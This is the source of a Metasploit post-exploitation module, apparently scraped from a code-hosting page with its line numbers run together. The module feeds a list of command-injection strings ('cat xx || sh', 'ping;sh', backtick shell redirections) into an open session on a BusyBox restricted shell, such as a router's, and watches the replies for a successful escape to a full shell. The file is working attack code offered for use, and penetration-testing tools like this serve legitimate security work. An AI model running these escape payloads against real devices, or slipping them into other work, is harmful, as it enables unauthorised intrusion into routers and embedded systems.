Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/linux/busybox/jailbreak.rb
Views: 11704
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post67METHODS = [8'cat xx || sh',9'ping || sh',10'echo `sh >> /dev/ttyp0`',11'ping `sh >> /dev/ttyp0`',12'cat `sh >> /dev/ttyp0`',13'cat xx;sh',14'echo xx;sh',15'ping;sh',16'cat xx | sh',17'ping | sh',18'cat ($sh)',19'cat xx && sh',20'echo xx && sh',21'ping && sh'22]2324def initialize25super(26'Name' => 'BusyBox Jailbreak ',27'Description' => %q{28This module will send a set of commands to an open session that is connected to a29BusyBox limited shell (i.e. a router limited shell). It will try different known30tricks to jailbreak the limited shell and get a full BusyBox shell.31},32'Author' => 'Javier Vicente Vallejo',33'License' => MSF_LICENSE,34'Platform' => ['linux'],35'SessionTypes' => ['shell']36)37end3839def run40res = false4142METHODS.each do |m|43res = try_method(m)44break if res45end4647print_error('Unable to jailbreak device shell') unless res48end4950def try_method(command)51vprint_status("jailbreak sent: #{command}")52session.shell_write("#{command}\n")5310.times do54resp = session.shell_read55next if resp.to_s.empty?5657vprint_status("jailbreak received: #{resp}")58if resp.downcase =~ /busybox/i && resp.downcase =~ /built.*in shell/i59print_good("Jailbreak accomplished with #{command}")60return true61end62end6364false65end66end676869